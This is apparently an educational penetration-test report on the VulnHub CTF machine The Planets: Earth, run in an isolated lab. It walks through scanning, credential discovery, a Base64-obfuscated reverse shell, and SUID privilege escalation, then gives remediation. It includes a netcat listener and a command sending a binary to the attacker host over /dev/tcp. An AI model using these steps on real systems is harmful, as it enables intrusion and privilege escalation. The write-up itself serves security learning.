
PENETRATION TESTING REPORT

Penetration testing report for CTF called The Planets: Earth from
VulnHub

12 JULY 2026

AUTHOR: SZYMON STEFAŃSKI
CLASSIFICATION: EDUCATIONAL
ENVIRONMENT: CONTROLLED ISOLATED LAB
VERSION: 1.0

Statement Of Confidentiality

The contents of this document have been developed by [Szymon Stefański](#) as a part of the educational path towards penetration tester carrier. This document presents the full process of capturing flags inside of a vulnerable machine called [The Planets: Earth](#).

All contents of this document that will be used outside of its legal purposes and educational functions will be considered an illegal activity that the author does not take responsibility for.

Contents

Statement Of Confidentiality	2
Executive Summary	4
Approach.....	4
Scope	4
Assessment Overview and Recommendation	4
Penetration Test Assessment Summary.....	5
Summary of Findings.....	5
Compromised System Walkthrough	6
Detailed Walkthrough	6
Enumeration / information gathering	6
Exploitation	6
Post-Exploitation	6
Reproduction of the steps	7
Remediation Summary	12
Mitigation.....	12
References.....	12

Executive Summary

This document demonstrates the process of capturing two flags inside of a vulnerable machine called *The Planets: Earth*, which can be downloaded from VulnHub.

Approach

I performed testing under a „black box” approach on July 9 2026 without any credentials or advance knowledge about source code or the target. Testing was performed using a Kali Linux attack machine inside an isolated host-only network in VirtualBox. The goal was to find the flags inside of the machine through credentials stealing and privilege escalation. Each weakness identified was documented and written down to further explain my way of thinking and approach.

Scope

The scope of this assessment was one internal network range, two local pages and virtual machine access.

Host/URL/IP Address	Overview
192.168.239.7	The Planets: Earth machine IP address
earth.local	Main earth's page
terratest.earth.local	Https test page

Assessment Overview and Recommendation

During the internal penetration test against The Planets: Earth I managed to find several issues that I categorized and described by severity level.

One finding resolved around sensitive directory and file discovery. Using discovery tools like *gobuster* I was able to find hidden endpoints that included sensitive information about encryption type, username and data file that was used as a key for encryption.

The second issue was visible and easily accessible data on the main page of *earth.local* page. With information about key and encryption type it reveled to be the password.

Another finding was possible RCE (Remote Code Execution) via the user's shell. Despite a special filter that blocked the simplest reverse shell methods it was insufficient as it could be bypassed using Base64 encoding to deliver reverse shell payload.

Last one was privilege escalation via a special script hidden on the user's shell. A custom executable file named *reset_root* had improper permissions that allowed low-privileged users to perform administrative actions and reset root's password to default leading to full system compromise.

Penetration Test Assessment Summary

During testing I started as an unauthenticated user with no such information as configuration information, source code, files or users.

Summary of Findings

During the course of testing, I uncovered a total of 4 findings that posed a risk for the system of The Planets: Earth. The below table provides a summary of the findings by severity level.

Findings		
Critical	High	Medium
1	2	1

Below is a high-level overview of each finding identified during testing. These findings are covered in depth in the Technical Findings Details section of this report.

# Findings	Severity Level	Finding Name
1	High	Exposure of Sensitive Data in Frontend Metadata
2	High	Local Privilege Escalation (LPE) via Insecure SUID Binary
3	Medium	Broken Access Control via Forced Browsing and File Discovery
4	Critical	Code Injection leading to RCE (Remote Code Execution)

Compromised System Walkthrough

During my testing of the assessment I was able to retrieve credentials for user via [testingnotes.txt](#) and decode password value from frontend metadata on main page. With credentials acquired I gained access to command shell and perform reverse shell payload execution, which furthermore led me to privilege escalation by abusing `reset_root` executive file. Steps below demonstrate processes of information gathering / enumeration, exploitation, privilege escalation and post-exploitation.

Detailed Walkthrough

Enumeration / information gathering

1. I used `nmap -pn -n 192.168.239.0/24` to check for IP addresses on my local interface and found [192.168.239.7](#) which confirmed to be earth's IP address.
2. Using the ping command I checked if 192.168.239.7 responded.
3. I used `nmap -sV -sC -n 192.168.239.7` for standard port scanning without reverse DNS and with basic scripts. This way I found that The Planets: Earth runs OpenSSH on port 22 and Apache servers on ports 443 and 80 (http and https) with earth.local and terratest.earth.local instances.
4. I added new found paths to [/etc/hosts](#) path.
5. I used the [gobuster](#) tool to enumerate through directories and found /admin subpage on earth.local with login form and multiple subpages including [robots.txt](#) on [terratest.earth.local](#).

Exploitation

1. Inside the robots.txt file I found that there is an interesting file named [testingnotes.txt](#). Inside were sensitive information about user name (terra), type of encryption used (XOR) and encryption key that was in [testdata.txt](#).
2. Using that information I decoded the encrypted string found on frontend metadata of earth.local main page with [cyberchef](#) and received a password.
3. Using credentials I logged in to the admin panel and tried to perform a reverse shell. Simplest methods failed, therefore I obfuscated the payload with Base64 encoding and used it instead, which fortunately worked.
4. Using an unrestricted shell interface I was able to find and read flag in the [user_flag.txt](#) file.

Post-Exploitation

1. With reverse shell active I found the user flag inside of [/var/earth_web/user_flag.txt](#).
2. I wasn't sure how to escalate to admin, however I found information that on a user session there is an executable script named [reset_root](#). I tried to run the script and later on discovered with ltrace on the kali machine that it lacked 3 specific files to run.

3. I created new files on user console and ran the script again – this time resetting the password to default (Earth)
4. I used `su root` and retrieved the root flag inside of `/root/root_flag.txt`.

Reproduction of the steps

Using nmap and gobuster I found information about the target and its active pages / services.

```
MAC Address: 08:00:27:7C:EE:A9 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.239.7
Host is up (0.00098s latency).
MAC Address: 08:00:27:26:1B:EC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.239.6
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.00 seconds
```

```
Session Actions Edit View Help
Nmap scan report for 192.168.239.7
Host is up (0.0016s latency).
Not shown: 987 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.6 (protocol 2.0)
|_ ssh-hostkey:
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|   256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp    open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_ http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_ http-title: Bad Request (400)
443/tcp   open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_ http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_ http-title: Test Page for the HTTP Server on Fedora
|_ ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
|_ Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
|_ Not valid before: 2021-10-12T23:26:31
|_ Not valid after: 2031-10-10T23:26:31
|_ ssl-date: TLS randomness does not represent time
|_ tls-alpn:
|   http/1.1
|_ http-methods:
|   Potentially risky methods: TRACE
MAC Address: 08:00:27:26:1B:EC (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds

Flare@kali [11:26:57] [~]
-> %
1:reconnaissance*
```

```
Session Actions Edit View Help
Shell No. 1
Flare@kali [11:38:17] [/usr/share/wordlists/dirbuster]
-> % gobuster dir -u "http://earth.local/" -w /usr/share/wordlists/dirb/small.txt -t 64

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:             http://earth.local/
[+] Method:          GET
[+] Threads:         64
[+] Wordlist:         /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.8.2
[+] Timeout:         10s

Starting gobuster in directory enumeration mode

admin          (Status: 301) [Size: 0] [-> /admin/]
cgi-bin/       (Status: 403) [Size: 199]
Progress: 959 / 959 (100.00%)

Finished

Flare@kali [11:38:35] [/usr/share/wordlists/dirbuster]
-> %

key:

1:reconnaissance- 2:enumeration*
```

```
Flare@kali [11:47:24] [/usr/share/wordlists/dirbuster]
-> % gobuster dir -u "https://terratest.earth.local" -k -w /usr/share/wordlists/dirb/common.txt -t 64

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: https://terratest.earth.local
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

.hta (Status: 403) [Size: 199]
.htaccess (Status: 403) [Size: 199]
.htpasswd (Status: 403) [Size: 199]
cgi-bin/ (Status: 403) [Size: 199]
index.html (Status: 200) [Size: 26]
robots.txt (Status: 200) [Size: 521]
Progress: 4613 / 4613 (100.00%)

Finished
```

Inside of robots.txt I found testingnotes.txt file and sensitive information within it.

```
Not secure https://terratest.earth.local/robots.txt

User-Agent: *
Disallow: /*.asp
Disallow: /*.aspx
Disallow: /*.bat
Disallow: /*.c
Disallow: /*.cfn
Disallow: /*.cgi
Disallow: /*.com
Disallow: /*.dll
Disallow: /*.exe
Disallow: /*.htm
Disallow: /*.html
Disallow: /*.inc
Disallow: /*.jhtml
Disallow: /*.jsa
Disallow: /*.json
Disallow: /*.jsp
Disallow: /*.log
Disallow: /*.mdb
Disallow: /*.nsw
Disallow: /*.php
Disallow: /*.phtml
Disallow: /*.pl
Disallow: /*.reg
Disallow: /*.sh
Disallow: /*.shml
Disallow: /*.sql
Disallow: /*.txt
Disallow: /*.xml
Disallow: /testingnotes.*
```

```
Not secure https://terratest.earth.local/testingnotes.txt

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against brute force. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
```

Using information from testingnotes.txt and testdata.txt I gained access to username and password for the admin panel.


```
Flare@kali [13:09:44] [/usr/share/dirbuster/wordlists]
-> % nc -nvlp 4242
listening on [any] 4242 ...
connect to [192.168.239.6] from (UNKNOWN) [192.168.239.7] 60124
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ ls
Welcome
CLI com
[echo '
[Run co
Command
ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
bash-5.1$
1:reconnaissance 2:enumeration 3:exploitation* 4:misc- Sun Jul 12 13:18:18
```

Using a command `find / -perm -u=s 2>/dev/null` I found the `reset_root` executable.

```
Shell No. 1
Session Actions Edit View Help
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit DB Google Hack...
Gate Timeout
The gateway did s
bash-5.1$ find / -perm -u=s 2>/dev/null
bash: /dev/null: Permission denied
bash-5.1$ find / -perm -u=s 2>/dev/null
find: / -perm -u=s 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
bash-5.1$
1:reconnaissance 2:enumeration 3:exploitation* 4:misc- Sun Jul 12 13:21:36
```

With `cat /usr/bin/reset_root > /dev/tcp/192.168.239.6/3000` command and netcat listening on port 3000 I downloaded and ran the file with `ltrace` to check what is missing. Using the `touch` command I created new files and re-ran the script.

```
Shell No. 1
Session Actions Edit View Help
504 Gat
OffSec
Flare@kali [13:35:20] [~]
-> % ltrace ./reset_root
Can't execute './reset_root': Permission denied
failed to initialize process 78199: No such file or directory
couldn't open program './reset_root': No such file or directory
Flare@kali [13:35:25] [~]
-> % chmod +x ./reset_root
Flare@kali [13:35:32] [~]
-> % ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
)
access("/dev/shm/KHgTfISG", 0) = -1
access("/dev/shm/Zw7bV9US", 0) = -1
access("/tmp/xc0Weww", 0) = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
)
+++ exited (status 0) +++
Flare@kali [13:35:36] [~]
-> %
1:reconnaissance 2:enumeration 3:exploitation- 4:misc* Sun Jul 12 13:35:36
```


Remediation Summary

As a result of this assessment there are several vulnerabilities (CWEs) that are worth knowing in the real world. Abusing them led me from an unauthenticated user to a logged in user with full admin control.

Mitigation

1. **CWE-425 (Broken Access Control via Directory Enumeration and Forced Browsing) :**
 - Proper authentication and authorisation on most important endpoints or even all, proper file management (remove unnecessary files from the web root), implementing WAF (Web Application Firewall) to block brute-force directory scanning.
2. **CWE-94 (Remote Code Execution (RCE) via Filter Circumvention) :**
 - Instead of blacklist (disallow list) using whitelist (allow list) and validate IP addresses, sandboxing for isolating the app from the rest of the system and improving WAF settings.
3. **CWE-200 (Sensitive Information Disclosure in Frontend Metadata) :**
 - Never store sensitive information in source code, metadata, client-side code. Always validate after production.
4. **CWE-269 (Local Privilege Escalation via Insecure Executable File)**
 - Removing unnecessary SUID, principle of least privilege for all users, adding monitoring and alerting system on changes of SUID binaries or execution of commands like passwd.

References

- <https://cwe.mitre.org/data/definitions/200.html> -> CWE-200 information page
- <https://cwe.mitre.org/data/definitions/94.html> -> CWE-94 information page
- <https://cwe.mitre.org/data/definitions/269.html> -> CWE-269 information page
- <https://cwe.mitre.org/data/definitions/425.html> -> CWE-425 information page
- <https://www.vulnhub.com/entry/the-planets-earth,755/> -> Vulnhub The Planets: Earth page